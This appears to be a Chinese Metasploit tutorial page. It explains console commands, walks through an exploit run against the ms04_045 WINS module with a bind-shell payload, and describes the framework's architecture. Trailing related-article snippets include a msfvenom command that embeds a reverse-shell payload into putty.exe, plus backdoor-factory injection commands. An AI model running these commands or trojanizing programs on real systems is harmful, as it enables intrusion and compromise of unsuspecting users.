Metaspolit

Metaspolit介绍

Metasploit是一款开源的安全漏洞检测工具,安全工作人员常用 Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

Metaspolit安装

从官方网站http://www.metasploit.cn下载windows版本的安装版,直接安装即可。 温馨提示:请关闭防火墙和杀毒软件。

Metaspolit的使用

Metasploit目前提供了三种用户使用接口:

  • Console模式:功能最全面,建议使用;
  • GUI模式:用户友好度最高,但功能不是最完整的;
  • CLI模式:命令行模式,用于批量处理。

Metaspolit的Console模式介绍

Console模式启动

通常启动较慢,需等待10分钟左右,开始界面如下:

加载完毕后如图所示:

常用指令介绍

A 帮助指令--- ?/help

B 查看所有的漏洞脚本---show exploits

C 查看某个脚本的信息---info exploit/windows/wins/ms04_045_wins

渗透过程演示

如果确定使用什么脚本进行攻击的时候,则用以下指令按步骤进行操作

1 使用某个脚本 use exploit/windows/wins/ms04_045_wins

2 查看脚本的具体操作选项 show options

3 配置参数

set RHOST 192.168.1.200 设置目标

set RPORT 7777 设置端口

set PAYLOAD generic/shell_bind_tcp 设置使用的shellcode

4 exploit 执行攻击

5 当打开了session时表示攻击成功

辅助扫描漏洞

比如NMAP,OPENVAS,SQLMAP和自带的扫描器等,更方便收集系统的情报。通常来说,我们从几个方面来扫描比较合适:

1 网站的目录dir_scanner扫描器可以扫到页面,通过返回的404,403等code判断页面是否存在是否需要权限进入;

2 使用NMAP扫描目标服务器的端口,得到服务器的详细版本信息有利于选择渗透的方法;

3 使用SSH,TELNET,数据库端口扫描,扫描服务是否存在;

4 口令密码的探测,主要是对弱密码的破解;

5 网站的扫描,W3AF,SQLMAP等开源工具扫描出是否存在XSS和SQL注入。

Metasploit攻击方法分类

exploits 总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对 目标主机被动的监听然后获得相应的操作。在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲 区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用程序中广泛存在。利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后,也可以 利用其获得非授权指令,甚至系统特权,进而进行各种非法的操作。

Metasploit的架构

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构如图所示:

TOOLS 集成了各种实用工具,多数为收集的其它软件 PLUGINS 各种插件,多数为收集的其它软件。直接调用其API,但只能在console模式下工作。 MODULES 目前的Metasploit Framework 的各个模块 MSF core 表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。并将各个子系统集成在一起。组织比较散乱,不建议更改。 MSF Base 提供了一些扩展的、易用的API以供调用,允许更改Rex LIBRARIES Metasploit Framework中所包含的各种库,是类、方法和模块的集合 CLI 表示命令行界面 GUI 图形用户界面 Console 控制台用户界面 Web 网页界面,目前已不再支持 Exploits 定义实现了一些溢出模块,不含payload的话是一个Aux Payload 由一些可动态运行在远程主机上的代码组成 Nops 用以产生缓冲区填充的非操作性指令 Aux 一些辅助模块,用以实现辅助攻击,如端口扫描工具 Encoders 重新进行编码,用以实现反检测功能等

/postgresql/lib/plugins主要是postgresql的调试插件和分析插件。还有一些其它的插件,比如ruby插件等。

/tools 主要是一些辅助工具,如vncviewer、7za等。 /msf3/tools主要是一些转化工具,如memdump、ruby工具等。 MSF core定义了整个软件的架构方式,提供了一些基本的API,主要由汇编和C语言来实现,一般情况下不允许直接调用。共有136个汇编文件,7个.h文 件,681个.C文件。MSF core组织的比较散乱,不建议更改。 汇编部分主要完成的是与相应的操作系统(如windows、linux等)有关的功能,主要是shellcode的实现等。 C语言完成的功能比较多,主要是meterpreter的实现和一些工具性的应用,包括ruby相关、内存相关(如memdump.c,属于 memdump软件包,用于在DOS和Windows 9x 中dump或copy 4GB以内的地址空间)、网络相关(pcaprub.c,属于libpcap软件包的一部分,是ruby中网络的一部分)、反检测相关 (timestomp.c,属于timestomp软件,用于修改文件的时间戳)等。其工具性的应用多是直接来自于其它工具软件。 Meterpreter是MSF core中最重要的一部分,其本身是一个具有多种功能的动态payload,并且可以在运行时动态扩展。它提供了交互式shell的基础。整个运行在内存 当中,但它并不创建新的进程,并且使用了加密的通信方法,能有效避免检测。 MSF base分布在很多文件夹当中,定义了大量的实用API,例如svn API、scan API、encode API、更新API、操作API、数据库API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模块API、ruby API、网络API等。主要供modules下的相关程序进行调用,开发人员也可直接调用其API。

/msf3/plugins主要包括一些数据库插件、会话插件、线程插件、socket插件等;

Metasploit的二次开发

Metasploit 中的类和方法具有很好的可读性,并且采用了元编程的思想,使得进行二次开发更加方便快捷。简单的说一个程序能够产生另一个程序,就是元编程。ruby、 python等均可方便的采用元编程思想。metasploit中前四个字母正好是meta,猜测其是Metaprogramming的含义。 Metasploit中所有的模块都从Msf::Module中继承,并且所有的模块有一个共享的API库。 在Metasploit中修改的exploit、payload等模块时,直接找到相应的文件修改并保存,重新启动console即可看到自己修改后的模 块的效果。 在metasploit当中增加exploit、auxiliary等模块时,最快捷的方法是仿照现有的模块方式、使用metasploit中提供的协议 (比如使用metasploit中的socket方法,而不使用ruby中的socket方法,meterpreter对socket进行的封装和扩展功 能,使用起来更加方便,增加了代理、ssh等特征)。模块写好后放在相应的目录,重新启动console即可看到自己所增加的模块部分。 下面是一些攻击经常使用的模块的位置。 auxiliary模块位于/msf3/modules/auxiliary/下。 Exploits模块位于/msf3/modules/exploits/下。 Payloads模块位于/msf3/modules/payloads/下。 Nops模块位于/msf3/modules/nops下。 Encoders模块位于/msf3/modules/encoders/下。 另外在core部分也有一些exploit、aux等,其作用是为上述的攻击部分提供基础,被上述模块调用。在windows或是在linux中都使用上 述方法进行二次开发。后面会详细的介绍新增一个exploit的方法和过程。

时间: 2024-10-28 19:59:42

Metaspolit的相关文章

Xssf配合metaspolit使用

安装xssf download:  svn export http://xssf.googlecode.com/svn/trunk /home/User/xssf install: svn export http://xssf.googlecode.com/svn/trunk  ./ --force 连接metaspolit: https://code.google.com/p/xssf/ 把这几个目录下的文件拷贝到metasploit所对应data,lib,modules,plugins 目录

关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

一.背景: 这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的.原谅我: 1.java反序列化漏洞原理研习 2.java反序列化漏洞的检测 二.攻击手法简介 针对这个使用msf攻击需要大家看一篇文章:JMX RMI Exploit 实例 , 鸣谢,确实学到了很多,膜拜大牛 , 简要介绍下攻击手法: (1)下载mjet模块:下载连接mjet,如果是mac电脑安装好metaspolit以后可以直接使用git clone命令下载到metaspolit的父目录下

kail linux 系统下利用metaspolit工具渗透win7电脑

 注:只是测试,不可干违法的事. 一.metaspolit工具的介绍 1.1.metaspolit 是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新.被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架. 1.2.Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性. 1.3.Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取

metaspolit教程

网上的安装方式都是抄来抄去,我也抄了下,不过好歹自己试了下,有所不同 git clone https://github.com/rapid7/metasploit-framework.git vim ~/dev/ruby/msf/msf_shell export MSF_DATABASE_CONFIG=~/dev/ruby/msf/metasploit-framework/config/database.yml export PATH=~/dev/ruby/msf/metasploit-fram

metaspolit 基础

在kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录了.这一点比bt5要方便很多,所以现在就放弃了bt5. 4 ]3 f. Q5 F5 [ 具体命令与截图 service postgresql start service metasploit start 复制代码 如果不想每次开机都这样,还可以配置随系统启动. update-rc.d postgresql enable3 Q$ C+ _

Beef

修改配置文件/usr/share/beef-xss/config.yaml (1)改vi beef侦听端口:    http:   port:3000(改为80) (2)与Metaspolit关联: metasploit:  enable: false(改为true) like:ssl: false(改为true) (3) 配置一下拓展下的metasploit配置文件 vim /usr/share/beef-xss/extensions/metasploit/config.yaml 把ip填写成

Inject Payload Into Normal Files

Payload捆绑注入 msfvenom -a x86 --platform windows -x putty.exe -k -p windows/shell/reverse_tcp LHOST=x.x.x.x LPORT=xxx -e ... -f exe > testtmp.exe backdoor-factory 在指定程序中注入payload backdoor-factory -f Test.exe -S #检测是否支持注入 backdoor-factory -f Test.exe -s

我的linux云服务器配置记录

配置vps的时候,随手记录一下~~ 添加一些源: vi /etc/apt/sources.list deb http://tf.archive.ubuntu.com/ubuntu/ xenial main restricted # deb-src http://tf.archive.ubuntu.com/ubuntu/ xenial main restricted deb http://tf.archive.ubuntu.com/ubuntu/ xenial-updates main restr

WebLogic反序列化漏洞导致getshell

本文主要是讲述在主机渗透中我们经常使用的一条路径(存活判断-端口扫描-端口删选(web端口)-针对性渗透(web渗透))进行渗透,其中主要涉及发现漏洞.利用漏洞.获取上传位置等过程中自己的一点经验技巧.简单来说,本文主要是对某主机进行渗透的全过程记录!如有不合理或错误的地方,烦请各位多多指教,谢谢! 1.1    主机存活判断 当我们得到一个主机IP时,我们首先对它进行存活判断,最简单的就是通过ping命令,但是如果主机是禁ping那么我们可能会判断失误,因此我们需要使用nmap来再次进行存活判